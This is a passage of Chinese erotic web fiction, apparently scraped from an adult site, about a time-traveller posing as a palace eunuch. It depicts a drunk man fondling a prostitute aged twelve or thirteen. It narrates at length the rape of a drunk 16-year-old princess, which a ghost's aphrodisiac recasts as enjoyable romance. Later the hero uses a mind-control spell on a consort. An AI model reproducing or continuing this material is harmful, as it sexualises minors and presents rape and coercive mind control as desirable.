未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

一个太监闯后宫03

第一章
李白

「李白!」

堂中宾客与婢女暗暗念诵着这个名字,都已隐隐预感到,这个名字,
将与这一首绝妙好诗,流传于世,为后人千古传诵。

李小民一脸谦虚的模样,微笑坐下,心中却在思量:「我这算是剽窃
了李白的诗句,不过再用他的名字吟出来,帮他扬名千古,也不算是剽窃
了吧?」

他心里忽然升起一丝困惑:「为什幺从前看的那些架空历史小说里
面,那些主角总是喜欢剽窃别人的诗作文章,当作自己写的,而没有一丝
惭愧?难道说,中国人真的是以剽窃为荣,没有一点道德感吗?这就难怪
那些德高望重的教授们都在拼命地剽窃别人的研究成果,当作自己的论文
发表在各大一脸庄重的学术杂誌上面了。」

回想在从前那些小说里面,回到过去之后,总是小心不要剽窃后人诗
作,一心一意不干扰历史进程的,好像只有一个不是很讲道德的项少龙而
已。不过对于这样的人,读者一般都把他当作白癡。

李小民用力摇摇头,把这些胡思乱想都丢在一边,站起来拱手笑道:
「天色已晚,在下不胜酒力,就此告辞。」

秦仙儿一怔,美目中露出些微留恋之色,正要出言挽留,却见真平公
主已经站起来道:「李兄才高于世,在下相见恨晚,还请暂留,让在下可
以请教一二。」

她端着酒杯,走到李小民身边坐下,举杯笑道:「在下敬李兄一
杯!」

李小民暗自苦笑,与她碰杯,一饮而尽。

周长安大惊大怒,暗自咬牙,却微笑着站起来,捧杯走到李小民桌
边,也要敬他的酒。

陈德修认得周长安,躬身施礼,识趣地将座位让给了他们,自己躲到
一边去坐,酒意上涌,抱着那个十二三岁的小妓女,肆意亲吻抚摸。

三人在案后坐下,真平公主居中,不断向李小民敬酒,只想灌醉了
他,在他嘴里套出他的来历;周长安却也在不断地敬酒,希望把他们两个
都灌醉了,自己好抱着真平公主离开;李小民虚与委蛇,嘴里满口胡说,
只道自己是陈德修的朋友,承他厚情,邀请来金陵花船上游玩,过几天恐
怕就得离开金陵,回乡去了。

三人如有默契一般,都绝口不言真平公主的真正身份和前日的刺杀事
件,而李小民是久经酒精考验的坚强战士,喝惯了烈酒,哪会被这几杯薄
酒打倒,喝到后来,另外两人已是醉眼朦胧,他还没有什幺醉意,只是舌
头大了些,说起来话来有些含混不清。

秦仙儿弹了几首曲子,陪着众宾客说了些话,讨论些诗词歌赋,时而
向李小民讨教,都被李小民假託酒醉,混了过去。

天色渐晚,已近三更。秦仙儿出言送客,众宾客半醉之中,互相搀扶
着走出舱去。陈德修却已和那个年轻的妓女情投意合,相拥着到花船后面
去住宿去了。

李小民扭头看看扑倒在桌案上的两个人,想想把她一个女孩子丢在这
里也不大好,说不定便会被哪个胆大的嫖客占了便宜,于是伸手挽起她的
腰肢,拥着她离去。

周长安醉中微有一丝清醒,伸手去抓真平公主的衣摆,李小民一眼看
见,心中暗道:「好你小子,敢在老子面前非礼女性!」

他早就看周长安不顺眼,趁机一脚将他踹倒,看他钻到桌子下面抽泣
着醉睡过去,自己抱着真平公主,扬长而去。

在角落里,那个曾看到李白与那俊美少年在厕所里亲热的小婢女眼睁
睁地目睹了这一场令人感动的分别场面,不由轻轻吁了一口气,暗暗想
道:「难道说,这就是传说中的美少年三角恋爱吗?真的是超美的一幕
啊!」

李小民抱着真平公主,出去坐上自己来时与陈德修同乘的马车,一路
赶到自己新租的大宅子。

进了宅子,沙将军带着上百鬼卫前来请安,躬身道:「稟主人,我们
已经把屋子打扫乾净,而且万府里的家财,已经都搬到库房里来了。」

李小民点头,夸奖了他们几句,让他们回皇宫去,继续在废殿里修
炼。自己叫他们出来,已经是耽误了他们的修行,可不能再耽搁下去,免
得害他们不能在这紧要关头,修炼到更为强大的程度。

走在空旷的宅院里,四处一片黑沉沉的,但以他经过仙术修炼的双眼
来看,已经可以看出这个院落,到处都是纤尘不染,由鬼打扫过的屋子,
果然乾净得令人吃惊。

低头看看怀里的真平公主,还在沉醉昏睡中,清丽的面庞上,带着一
丝微笑,似乎在做着什幺好梦。

看到这幅美人春睡图,李小民不由食指大动,抱着她走到卧室里面,
看看里面已燃起了红烛,床上的被褥都是现成的,正合心意,便将她放在
床上,双手一探,摸上了她的圣女峰。

摸来摸去,只觉这山峰低了一点,李小民不满足地伸手到儒衫之中,
贴着肌肤摸下去,一直伸到酥胸上,将那小小的柔滑玉乳握在手中,李小
民忍不住嘟囔道:「真的很平啊……」

「啪!」一个耳光迎面打来,真平公主坐起身来,柳眉倒竖,骂道:
「你这个死太监,竟敢轻薄本公主,还要污蔑本公主的身材,触犯宫规,
应该严惩!」

李小民还当她是喝醉了说梦话,却看到她凤目圆睁,满是羞愤之意,
不由大惊,叫道:「咦,你什幺时候醒的?」

真平公主怒道:「就是你刚才摸本公主的时候……」又羞又怒,抬手
又是一个耳光打来,咬牙道:「做太监的如此轻薄主子,就是死罪!」

李小民侧头躲开,叫道:「喂,你认错人了,我可不是什幺太监,我
叫李白,肯定不是你认识的那个人!」

真平公主扑到他身上,用力将他按倒在床上,玉颜已气得通红,一边
挥拳痛打,叫道:「你胡说!若不是看穿了你是太监之身,本公主岂会跟
你回来,让你有机可乘?哼,虽然你没有能力真的玷污本公主,可是竟敢
在我身上大逞手足之欲,真是该打!」

李小民头上挨着粉拳,心中暗暗叫苦:「怎幺她喝醉了以后,什幺话
都说得出来?公主被太监摸来摸去,很光彩吗?她不想办法掩盖,怎幺还
要把这事告诉别人,坏我性命?」

真平公主已被他的所作所为气得失去理智,伸手下探,嘴里狠狠地
道:「你还敢对我说谎,说什幺不是太监,这里根本就是空空的……」

话还未说完,她的脸上就露出了惊讶至极的表情,而李小民却是一声
惨叫,因为她恼怒中出手不知轻重,差点第二次被当朝公主捏爆了卵蛋。

真平公主呆呆地看着他,口中喃喃地道:「对不起,我还以为你
是……」

李小民痛得满脸是泪,双手一紧,紧紧地抱住她温软的娇躯,将头搁
在她的香肩上,呜咽抽泣道:「怎幺你们姊妹都这个毛病,这是第二次
了,虽然上次是有鬼附在你妹妹身上……幸好青绫不喜欢对我这样,不然
我还怎幺活……」

真平公主和他一样都已是半醉,听不清他在口齿不清地说些什幺,忽
然目中寒光一闪,叫道:「你又想骗我!在裤裆里塞了棉花和木棍,就想
冒充男人吗?看我验明正身!」

她伸手撕开他的腰带,便要脱他的裤子。李小民大惊,手脚乱挥,狂
叫道:「喂,你这幺做,是公主应该做的事吗?难道说,你经常剥太监的
裤子?」

真平公主醉醺醺地在他头上重重敲了一记,叫道:「胡说,我从来都
没做过!不过总归还是有点好奇,看不到男人的身体,看看太监的也
好!」

借着酒意,这当朝第一得宠的公主终于做出了平日里不敢做的事,强
行对酒醉受伤无力的李小民做出了这一暴行。

当裤子被褪下来,真平公主呆呆地看着眼前的东西,吓得酒都醒了大
半。

李小民忍痛抽泣着,感觉着寒冷包围着自己的下体,满怀怨恨地看着
真平公主,咬牙道:「看到了吧,你倒说说看,老子哪里像是太监?」

真平公主抬起头,呆呆地看着他充满怨愤羞辱的英俊面容,结结巴巴
地道:「对,对,对不起,我好像走错房间了,你慢慢休息,我不打扰
了!」

说着话,她就向床下溜去,要趁着李小民还在浑身无力时,悄悄地溜
走,躲开这羞人的场面。

李小民哪肯这幺轻易便放过羞辱自己、强脱自己裤子的好色公主,一
把拖住她,将她按在床上,怒吼道:「从来没有人能在捏了老子的卵蛋之
后,就这幺轻鬆离开的!就像上一次,你的妹……不说了,反正你别想逃
掉!」

投桃报李,李小民二话不说,便撕开了她的儒衫,嗤地一声,将她的
丝帛长裤扯破,露出了里面桃红色的亵衣和如凝脂般的肌肤。

真平公主大惊大叫,却被李小民用蛮力按住她,三把两把,撕碎了她
的亵裤,露出了雪白修长的大腿。

真平公主用力推着他的身体,想要将他推开,可是受辱后的李小民怒
气勃发,再也不肯鬆劲,凭着一股酒意,一用力,将她雪白修长的玉腿分
开,强忍疼痛,用受伤后的器具,亲自来讨还血债,腰部狠狠用力,沖入
了她如花蕊般纯洁美妙的身体。

真平公主那美丽的眼睛,霎时瞪大了,不敢置信地看着趴在自己身上
的少年,仰起雪白玉颈,如垂死的天鹅一般,发出一声撕心裂肺的惨叫!

苦守了十六年的少女贞洁,只因一次酒醉,一次错误的推测,一次大
胆的验明正身,就这样被这只见过两面的少年,强行夺去!

浸入在她温暖湿润的娇嫩玉体中,李小民感觉到身体上的伤痛迅速消
除,不由惬意地闭上了眼,享受着这独特的疗伤方法带来的舒爽感觉。

他舒服得闭上了眼睛,真平公主却是身心均遭受巨创,两眼泛红,双
手紧紧抓住李小民的手臂,雪白的贝齿,狠狠咬在他的肩上,印出了两排
深深的牙印。

李小民痛得大叫一声,低头一看,肩头已经流了血,心中怒道:「不
给你点颜色看看,你就不知道马王爷三只眼!」

他强忍疼痛,伸手握住真平公主纤细柔滑的腰肢,开始在她体内奋力
冲刺,看着真平公主娇美的容颜突然变得惨白,感觉着她娇嫩身体剧烈地
抽搐,耳边听着她痛苦的呻吟声,李小民心中充满了报复的快感,与身体
上的兴奋感觉混合在一起,让他的动作更形快速暴虐。

真平公主本是含苞初放的花季少女,娇躯娇嫩无比,初次被李小民破
瓜,一分快乐之外,倒有十一分的痛楚,不由痛得摇头哭泣,晶莹的泪水
自她吹弹得破的粉面上,滚滚而落。

李小民醉中哪管得了她哭什幺,只是按照自己的直觉行事,很快便将
自己的精华释放在她纯洁玉体之内,趴在她的身上,不停地喘息。

真平公主用力推着他的身子,抽泣道:「你这死太监,竟然犯上欺
主……」

李小民趴在她的耳边,喃喃道:「我要是太监,怎幺会像现在这样,
有能力犯上欺主?」

真平公主语塞,想起他不是太监小民子而是诗人李白,不由摇头哭泣
道:「你这该死的恶徒,若是我母后知道了,一定要把你碎尸万段!」

李小民心里一跳,酒意渐醒:「若是她告诉了别人,还真是麻烦。我
还得在皇宫那天生旺地里面修炼仙法,她说出去,说不定会牵扯到我在宫
里的那个身份也要受到检查,为了避免危险,我就不能在宫里居住了!」

想到这里,他就更不能放真平公主走了。低下头,重重吻着她樱桃般
的红唇,将舌头伸进去,挑逗着她的香舌,双手也在她充满青春活力的玉
体上四处游走,挑逗着她的情欲。

真平公主被他含住了香舌,唔唔呻吟,伸手推着他的身子,突然感觉
到他的手在揉撚自己的乳头,不由嘤咛一声,双手无力,再也无法将他推
开。

这个时候,李小民已经在对她的玉体的探索中,恢复了雄风,腰部缓
缓挺动,与她厮缠在一起。

真平公主叫也叫不得,动也动不得,感觉到下面又开始痛了起来,不
由低低地哼着,痛得再次流泪。

李小民心里发愁:「这一下,她痛得厉害,只怕会更加恨我了!」

正在发愁之际,忽然丢在床边的衣服上,一个粉红色的身影自收魂上
飘起,迅速化为一个娇豔的美女,施展着长袖,在紧紧纠缠在一起的二人
上空飞舞,嘴角含笑,低下头,向真平公主的琼鼻,轻轻吹了一口气。

真平公主虽然看不到月娘的灵体,却清楚地感觉到这股气流,只觉一
股幽香灌入鼻中,身体立即发起热来,不由「啊」了一声,一双玉臂缠上
了李小民的脖颈,突然感觉到在自己身上施暴的少年,似乎也并不是那幺
可恨了。

李小民惊讶地抬头看着月娘在空中飞舞,伸手轻轻揽住真平公主的娇
容,低头在她唇上轻吻,将自己的气息吹入她口中,接着便看到真平公主
两眼水汪汪的,原本僵直的身体也变得柔软起来,不由大喜,知道月娘是
在用新学到的本领来替自己解除疑难,不由对她投去了感激的目光。

酒醉中的真平公主在他舒缓渐趋的动作下,渐渐意驰神迷,口中发出
了销魂的呻吟,被他和月娘挑起了欲火,娇躯也开始自动地配合李小民的
动作,与他激烈地交欢,满屋之中,都充满了少女的娇喘呻吟之声。

二人这一场抵死缠绵,直到三更天后,方才平息。月娘娇笑着飞回到
收魂玉中,而李小民抱着真平公主遍布吻痕、指痕的赤裸玉体躺在床上,
一边抚摸着她真正平坦的酥胸和小腹,一边轻轻地喘息。

真平公主躺在他的枕上,玉面遍布潮红,幸福地娇喘着,高潮余韵之
中,受到他手指的挑逗,颇感舒服。

相互搂抱着休息半晌,真平公主睁开眼睛,伸手放到李小民身上,葱
指在他胸前划着圆圈,用娇柔的声音问:「李白,出了这种事,你打算怎
幺办?」

李小民虽然没什幺经验,可是也知道该说些什幺,忙把前世知道的那
些甜言蜜语都在她耳边说了出来,配上他越来越过份的动作,弄得真平公
主玉颜绯红,娇喘再度激烈起来。

真平公主虽然大胆,却也是一个深受皇家礼仪教育的女孩,从一而终
的观念早已深入心中,而且对他的诗才充满敬慕,现在又被李小民用迷汤
灌得七颠八倒,不由暗自微笑,一边唔唔地呻吟着,躲开他放肆的双手,
一边仰起头来,向李小民索吻。

李小民自然不肯错过,在一场天昏地暗的长吻过后,二人情欲再炽,
相互搂抱着,第三次成就了好事。

虽是兴奋之中,真平公主还是微感下体疼痛,可是不忍李小民憋坏了
身子,只能微蹙眉头,忍耐着他对自己玉体的侵入,并静静地享受那从未
感受过的快乐感觉。

直到四更天,雨散云收,真平公主才从迷醉中清醒过来,情意绵绵地
从李小民身边爬起,红着脸穿好衣服,可是衣服已经被李小民扯破,只得
拿了他的衣服来穿,看了躺在床上微笑的李小民一眼,又羞又恼,却也忍
不住有些暗自欢喜。

看着养眼的美人穿衣图,李小民赤着身子来到她的身后,悄悄地抱紧
她的娇躯,在她耳后轻轻吻气。

真平公主被他弄得浑身发软,仰头将头靠在他的肩上,低低地呻吟
道:「不要这样,人家要回去了,不然的话,母后会发现的!」

李小民却不管不顾,双手在她酥胸一阵揉动,弄得她娇躯火热,又强
迫她订下了下次约会的时间地点,才放开手,自己也在衣柜里面找出衣服
穿上,披上一件大氅,微笑着牵着她的手,送她出门去了。

在院子里面,只有一辆马车,此外一匹马都没有。李小民抱起真平公
主的娇躯,放在马车温暖舒适的车厢里面,自己赶上马车,向皇宫而去。

到了皇宫门外不远处,真平公主勉强拖着身子下了马车,走了几步,
却是一个趔趄,几乎跌倒,幸得李小民眼明手快,一把将她扶住,抱在怀
中,关切地问:「怎幺样,要不要紧?」

真平公主白了他一眼,又羞又气,可是又走不了路,没奈何,只得让
李小民从马车上解下一匹马来,配上鞍鞯,亲自抱着她上了马,一拍马
股,看着那匹驮着佳人的骏马向宫门驰去。

在宫门前,真平公主出示了太子的手令,自称是太子近侍,道是太子
有命,要自己进宫面见皇后。守门的士兵见手令不假,不敢阻拦,当即放
行。

进得宫门,真平公主勒马南望,却见李小民已经赶着马车远去,想起
这一夜的荒唐放蕩,芳心之中,又是羞涩,又是甜蜜,却也掺杂着对未来
深深的担心之情。

突然,她像是想到了什幺,催马狂奔,直向宫中奔去。

因为怕人看到自己身穿男装,真平公主先回去让宫女帮着自己换回了
公主服饰,然后再度骑上马在宫中宾士,沿途逮到几个宫女、太监,逼问
出小民子的住处之后,真平公主一路驰到李小民的屋舍外,强忍隐痛,吃
力地下了马,转头四顾,见无人注意,便轻移莲步,向小民子屋里走去。

小民子的屋子,竟然没有关门,真平公主一直走进他的卧室,借着清
晨射入屋里的光线,清楚地看到床上躺着一个人,皮肤白皙,正在呼呼大
睡,便是那可恶的小太监本人,不由鬆了一口气,轻拍酥胸,暗自庆幸,
自己的第一次,并不是失身给这个太监。

小民子与李白的相似,终归是让真平公主深深疑虑,现在看到小民子
在自己屋里好好地睡着,这才放下心来。失身给一个有才华的诗人,总比
让一个出身低贱的假太监占了便宜要好得多。

为了更确定一些,真平公主一步步地走到床边,伸手掀开被子,低头
看他的肩头,在李白那里,已经是被自己咬得流了血,如果小民子就是李
白,那他身上的伤不会好得这幺快,一定能看出什幺破绽。

一阵凉意袭到身上,李小民迷迷糊糊地睁开了眼睛。

他早就担心真平公主今天白天会来探查自己与李白的相似之处,又怕
有人来撞见自己不在屋里,因此把马车往小巷里一丢,就迅速赶回自己的
住处,运起仙术,让仙力在自己身上流转,治疗好自己身上的伤痕,又消
除了脸上的淡淡黝黑,只觉一阵困倦袭来,倒头便睡,却想不到真平公主
这幺性急,天刚濛濛亮,便跑来掀自己的被窝。

眼前人影晃动,李小民正在困倦之时,也不多想,劈手从真平公主手
中夺过被子,蒙头继续大睡。

真平公主好气又好笑,伸手敲了他的头一下,叫道:「小民子,快起
来!」

李小民迷迷糊糊地睁开眼睛,看到真平公主站在床前,不由一呆,叫
道:「公主,你在我屋里干什幺?」

真平公主脸上一红,听他的声音尖细,却还是有几分熟悉,心中疑惑
再度升起,叫道:「把被子掀起来,我要看一看你的身子!」

李小民吓了一跳,若让她看到那还了得,忙紧紧捂住身体,不让她看
到。

真平公主心中更疑,为了解除这关係到自己终身的大疑问,索性扑到
床上,按倒小民子,伸手剥开了他的被子。

低头看去,在小民子洁白的皮肤上,却是一片光滑,什幺伤痕、齿痕
都没有。真平公主不由暗自鬆了一口气,却还是不敢确信,伸出手来,在
李小民身上轻轻地抚摸。

感觉着在清晨寒风中冻得冰冷的玉手在自己赤裸的肌肤上抚过,李小
民身上忍不住起了一层细小的疙瘩,颤声道:「公主殿下,不要这样,小
人现在还是处男……」

真平公主听着他这满嘴的瞎话,又羞又气又笑,抬手重重打了他一
下,训斥道:「死太监,你在想什幺污七八糟的东西?本公主金枝玉叶之
体,难道还会非礼你不成?」

李小民慌忙点头,心里却在嘀咕:「金枝玉叶又怎幺样,还不是被老
子干得差点成了残花败柳?」

他的目光,不由自主地向真平公主下半身瞄去,被真平公主看见,芳
心暗惊,生怕被他看出什幺奇怪的地方,再向旁人乱说。

她向后一缩,随即想起这小太监懂得什幺男女之事,只是白白地唬了
自己一下,恼羞成怒,举拳打在李小民头上,喝道:「乱看什幺?当心我
揍你!」

话刚出口,便见李小民的目光再度下瞄,直向自己胸部看去。

真平公主低头一看,不由大惊。自己换衣服时太着急了些,未曾完全
穿好,现在经过一路奔波,衣襟敞开,已经是酥胸半露,雪白滑腻的肌
肤,就暴露在这小太监的眼皮底下。

她慌忙掩好衣服,再看那小太监,脸上微微带着一丝笑意,似乎还在
暗暗地咽着口水,不由大怒,自觉吃了大亏,扑上去按住小民子,便要掀
他的被子,把他的身体也看上一遍。

李小民大惊,慌忙捂住被子,苦苦恳求道:「公主殿下,小人是个太
监,这调调不行的……」

真平公主听他又往歪处想,不由更是气恼,挥拳狠狠在他头上打了几
下,用力掀他的被子。李小民却是死也不放,抱住被子,捂住下体,和真
平公主捨命争夺这个被子的所有权。

真平公主趴在他身上用力按住他,与他扭成一团,正要拼力扯下他最
后一点遮蔽物,忽然听到一声惊呼:「姊姊,你在做什幺?」

真平公主吓了一跳,回头看去,竟然是妹妹长平公主,站在门口,满
脸惊讶之色,不敢置信地看着自己。

长平公主本是来看小民子的,昨天夜里,不知道为什幺,她一夜都睡
不好,翻来覆去,眼前出现的都是小民子的身影,而且娇躯时常变得火
热,不知道是什幺缘故,因此天一亮,便跑来看他,弄清楚自己到底是怎
幺回事。

她却不知,这本是那媚人女鬼懿妃曾附在她身上,虽是已经魂飞魄
散,她的灵气却有部分附在她身上未曾释出,因此常在梦中挑动她的情
思,再加上附身后与李小民的交欢在她潜意识中残留的记忆,让她对这长
相俊秀的小太监充满了奇怪的感情。

谁知一进门,便听到小民子的惨叫声,听他话里的意思,似乎是有什
幺女子在对他施暴。

长平公主在门外大惊失色,不知道是哪个宫女或是女官这幺大胆,竟
然敢来动自己最喜欢的乾弟弟,不由义愤填膺,沖进去便要解救即将遭受
狼吻的小民子。

谁知一进门,看到的却是自己最亲密的姊姊,骑在小民子的身上,还
在用力剥着他的被子,一副急色模样。而可怜的小民子,却被死死地压在
下麵,满脸惨白,泪水盈眶,只顾抱紧被子,维护着自己可怜的一点尊
严。

长平公主又惊又怒,看向姊姊的目光也充满了惊疑不信,怎幺也想不
到,自己最敬重亲密的姊姊,竟然会趁自己不在,跑到小民子的屋子里
来,对他做出了这等事。

真平公主的暴行被妹妹撞破,羞惭无地,慌忙从床上跳下来,正要解
释,忽然一阵剧痛从身上传来,脚步踉跄,差点摔倒在地上。

姊妹情深,虽是对她的行为颇为不理解,长平公主还是跑上前去,扶
住她摇摇欲倒的娇躯,关切地问:「姊姊,你怎幺了?」

真平公主满脸通红,哪里敢对妹妹描绘自己的伤势,只得道:「没什
幺,和小民子闹着玩,太用力了些,有点脱力。」

一边说,一边用威胁的眼神看向床上的小民子,威逼他不得把真相说
出来。

李小民也确实不敢说,只得含泪哽咽道:「是,公主姊姊,真平公主
殿下是在和我闹着玩……」

长平公主哪里还看不出其中情弊,心中愤怒,双目直直地盯着真平公
主,重重地哼了一声。

真平公主红透双颊,被她看得羞愧难忍,慌忙道:「妹妹,你不要误
会,我是昨天夜里在宫外遇到一个人,长得和他很像,所以要验明正
身……」

长平公主「咦」了一声,低头看看她的身上,只换了上衣,裤子还未
来得及换,却是穿着男式的裤子;鞋上还沾着宫廷中没有的泥土,显然十
分古怪。

她的脸上,也露出了古怪的表情,抱住真平公主,凑到她的耳边嘀咕
道:「姊姊,难道说,你这一夜都在外面,没有回来?」

真平公主一着急便说错了话,让长平公主看出了破绽,当下羞得无地
自容,心里一急,眼泪便流了下来。

长平公主芳心急转,已经猜出了七八分,见姊姊受窘,忙笑道:「别
哭别哭,我不会告诉别人的!那个人,长得真的很像小民子吗?」

真平公主抽泣着,用力挣脱妹妹的手,转身踉跄着向门外走去,急着
回去换下这件男装裤子,免得再被人瞧破。

长平公主心里又害羞又好笑,也不敢拦她,看着她走出去,呆了半
晌,走到床边,看着小民子拥被在床上缩成一团,惊惧的目光像是被困的
小兽一般,不由又是怜爱又感有趣,伸手抚摸着他的头,安慰道:「好啦
好啦,姊姊是在跟你开玩笑,不要当真!」

李小民趁机依偎在她身上,将脸靠在她的胸口,抽泣道:「可是她
说,要看我的下身,可能还要摸……」

怀中抱着俊俏弟弟的长平公主红了脸,在他头上轻轻弹了一下,教导
他道:「这种话,千万不能对别人说,不然会有人按宫规打死你的!」

李小民连连点头,看着他俊秀的脸上满是可爱的惊惧表情,长平公主
心中怜爱,将他抱在怀里,抚摸着他的头,一边安慰着他,一边想着:
「姊姊在外过了一夜,真是好大胆子!可是和那个长得像小民子的男人在
一起,做了什幺,只是说一夜的话这幺简单吗?」

想着想着,娇躯不由滚烫起来。抱着小民子半裸身躯的玉手也不由微
微用力,顺着他的脖颈,一直向下摸去。

虽然很享受美少女玉手抚摸,李小民却也不敢让她摸到什幺实质性的
东西,免得被她抓住把柄,害自己在宫中立身不牢。一感觉到玉手向下探
得厉害,慌忙叫道:「姊姊!」

沉浸在臆想中的长平公主回过神来,这才发现自己已经摸到了不该摸
的地方,再往下就要出问题,吓得跳了起来,将李小民摔在床上,看着他
赤裸的上身,又羞又怕,扭头便向屋外面逃去。

李小民看着她如翩翩蝴蝶般的倩影,歎了口气,暗自发誓,以后在宫
里睡觉一定要穿上防弹内裤,再也不敢裸睡了。
第二章
迷离

这天白天,李小民在睡足之后,坐在自己的屋子里面,感觉有点无
聊。

兰儿一直在云妃的屋子里服侍,现在在自己的保护下,云妃也不敢打
她骂她,连活都不敢指使她干,就差把她当王母娘娘一般供起来了。

可是以自己太监的身份,总不能说找个宫女来服侍自己。因此虽然想
要兰儿来自己屋里,为了顾及颜面,李小民还是只能自己住在这里。

去云妃那里临幸她一顿,并由兰儿陪自己共赴巫山倒也是个好主意,
可惜现在她们住得远些,李小民若不想惊世骇俗地飞奔到云妃宫中寻欢,
就只能慢慢地走上好远的路,才能到云妃那里,而李小民经历了一夜的胡
天胡帝,将精力都发洩在了真平公主身上,暂时还不想到那里去。

闲着无聊,只好把月娘叫出来聊天。

月娘从收魂玉中飘出来,倒是一副娇慵无限的模样,媚眼迷离,癡癡
地看着李小民,娇声道:「主人,人家正在修炼,您又把人家叫出来做什
幺?难不成,才和那个公主殿下做完,您又想要享用奴家的身子不成?」

李小民轻轻拍拍她的头,轻叱道:「哪有这种事!我是想起来,昨天
夜里你对真平公主的那一招挺管用,是怎幺学来的?」

月娘偏着头想了一想,笑道:「人家也不知道是怎幺学来的,好像突
然就出现在脑子里了,大概是那奇怪的灵力炼化开来,自然就有这种本领
了吧?」

「那我能不能也有这种本领?」李小民期待地问。

月娘掩口笑道:「主人,您又想做什幺奇怪的事了!其实在仙人赐与
你的书里面,好像也有这方面的描写啊?」

「有吗?」李小民翻出那本天书,在月娘的帮助下,果然找到了一个
小小的仙术,名为「魅心术」,道是若能将它练成,可以借用这一仙术,
使女子对施术者倾心相爱,要她做什幺,她都不会违背。

李小民心里惊讶:「天书上还有这种记载吗?果然是通天教主的支
派,什幺奇怪的仙术都有!」

只是这种仙术,耗费仙力巨大,以李小民现在的本领,只怕还不能真
的发挥它的威力。而且失败的机率高,还得看受术的女子的体质,即使是
创立这一仙术的前辈仙人,施术时也未必便能达到预期的目的。

但是李小民却是兴致勃勃,一想到能用这仙术让宫中的美女都爱上自
己,他就不禁身上发热,一心一心地练了起来。

可是这仙术虽然好学,想要发挥出它应有的效能却很难,李小民练来
练去,也只能了解一个大略的皮毛而已。

练了一会,李小民有些乏了,停下来考虑一阵,他决定依旧到萧淑妃
的屋里去,向青绫学习诗书。毕竟在品尝了性爱的烈酒之后,再来一杯温
馨的清茶,感觉会好得多。于是出门缓步而行,走到了桃林中萧淑妃的居
所。

萧淑妃母女怜他自幼入宫,无依无靠,又惊异于他的仙法超群,对他
十分看重,都待他十分亲切,李小民也对她们多少有了些依恋,感觉上就
像是自己的家人一样。见他来了,萧淑妃忙微笑着招呼他坐下,随青绫进
了书房。

这一次,他提出向青绫学习写毛笔字,青绫倒也不反对,二人便开始
了教学。

一开始写毛笔字,李小民怎幺都不舒服,拿笔姿势更是千奇百怪,任
由青绫教导,也改不过来。

没奈何,青绫只得手把手地教他拿笔,拿着他的手写字,果然写得十
分娟秀。

感觉着滑嫩玉手握住自己的手,李小民不由心中微跳,抬眼偷看着青
绫,心里又有些发痒。

青绫似有所觉,抬头看他一眼,玉颊微红,鬆开手,让他自己学写
字。

可是一旦鬆开,李小民又不会拿笔了。青绫轻歎一声,只得再度捉住
这小太监的手,教他写字。

于是在青绫手把手的教导之下,李小民终于掌握了正确的拿笔姿势,
写的字也渐渐像个样子了。

一边写字,一边嗅着青绫身上淡淡的幽香,李小民心头动荡,偷看着
身边高雅清丽的才女,只觉她身上似有一股强大的吸引力,将自己引到她
的身边去。

萧淑妃微笑着走进来,端了一盘水果,走进书房,柔声道:「小民
子,不要写得太累了,先歇一会,吃些水果吧。」

小民子答应一声,接过水果,道一声谢,与青绫一起吃起来。

一边吃,一边悄悄地欣赏着这美貌优雅的母女二人。二女同样的美
貌,同样充满吸引力,只是一个是青春少女,满腹诗书,才学过人,如含
苞欲放的花蕾;另一个却是温婉贤淑,偏偏又豔丽如花,让人不知不觉地
为她着迷。李小民常常到这里来,除了写字之外,便是忍不住想要亲近她
们,却也不知道这样下去,将来自己与她们的关係会是什幺样子。

李小民暗暗摇头,不再多想别的事,几口吃完,便开始练习毛笔字。

到了中午,御膳房送来了今天的午饭。由于李小民曾经细细叮嘱,那
些御膳房中的太监都已经知道萧淑妃与李公公交情非浅,而李公公有时还
会在她那里吃午饭,因此都尽心尽力地巴结,有些皇帝和皇后都吃不上的
珍奇物品,也会送到萧淑妃这里,请淑妃娘娘与李公公一同品尝。

对于这个道理,李小民自己心里也明白。太过珍奇的食物,若让皇帝
吃上了瘾,反而是给御膳房自己找麻烦,哪天皇帝想起来要大吃几顿,岂
不是让御膳房满房太监都急得撞墙?而萧淑妃就没有这个问题,李小民身
为御膳房总管,也当然能体谅下情,不会逼着太监和厨师们去寻找根本买
不到的珍稀物品来满足口腹之欲,因此那些太监乐得将珍物送来,以此来
讨得顶头上司的欢心。

他们这幺精乖,李小民坐在领导者的位置上,也不得不得开始考虑,
是否该提拔几个有能力的干部,或是帮他们长长工资,让他们工作得更有
劲头。

这一次送来的午饭,由四个小太监提着大食盒送来,除了宫女们也变
得丰盛几倍的午餐之外,还有十几道菜,摆了满满一桌子,都是各地送来
的珍奇野味,便是皇后的午餐,都未必能有这般丰盛。

三人坐在桌旁,一边吃饭,一边说些闲话,其乐融融,便似一个幸福
的三口之家一般。

吃完饭,宫女们来收拾碗筷。青绫身子娇弱,有些倦了,便向李小民
打了声招呼,自己回房睡觉去了。

李小民和她们在一起多日,早就互相熟悉,互相之间也没什幺拘束。
一时还捨不得走,陪着萧淑妃坐在一起闲话。

一边说着话,李小民忍不住会想到青绫现在熟睡时是什幺样子,心里
痒痒地,想要去偷看美人春睡图,却碍着萧淑妃在这里,有些不好意思。

萧淑妃却也瞧出了几分,以长袖掩口笑道:「小民子,你在看什幺,
是不是想在屋里到处走走看看?」

李小民脸上微微泛红,乾笑道:「娘娘又拿我开玩笑了,我陪着娘娘
说话,已经是很高兴了,哪还有什幺别的想法?」

萧淑妃微笑道:「那你的眼珠骨碌碌地乱转,又在打着什幺鬼主
意?」

李小民听她笑声娇媚,不由心中一动,举目看去,只见这宫装美妇的
玉颜上,笑靥如花,其中微微带着一丝俏皮之意,看上去便似一个青春少
女一般,真纯依旧,看得李小民心旌摇荡,忍不住伸出手去,握住了她的
玉手。触手光滑温暖,柔若无骨。

萧淑妃脸一红,想要把手抽出来,却被李小民紧紧握住,不肯放鬆。

萧淑妃心中微惊,这小民子如此大胆,对自己这样也就罢了,若是在
别的宫妃那里惹出事来,只怕性命难保。正要正言规劝,忽然看到他那乌
黑发亮的眸子里,一丝奇异的光芒闪烁起来,不由微微一呆,看着那束光
芒,心神动荡,彷彿整个魂魄,都被那束光芒摄到了他的眼睛里面。

李小民强行运起魅心术,只运了不足一秒,就已经无法支持那庞大的
仙力耗费,只得收术喘息,整个人都似要虚脱了一般。

再看萧淑妃,已经是凤目迷离,香唇微张,玉面渐渐地向他凑过来。
李小民心中大喜,虽然是浑身无力,仍是勉强伸出双手,抱紧萧淑妃的温
软娇躯,低下头,将唇印在这温婉美妇的香唇之上。

双唇甫一接触,萧淑妃便觉脑中轰然一声,整个魂魄都似要被炸裂开
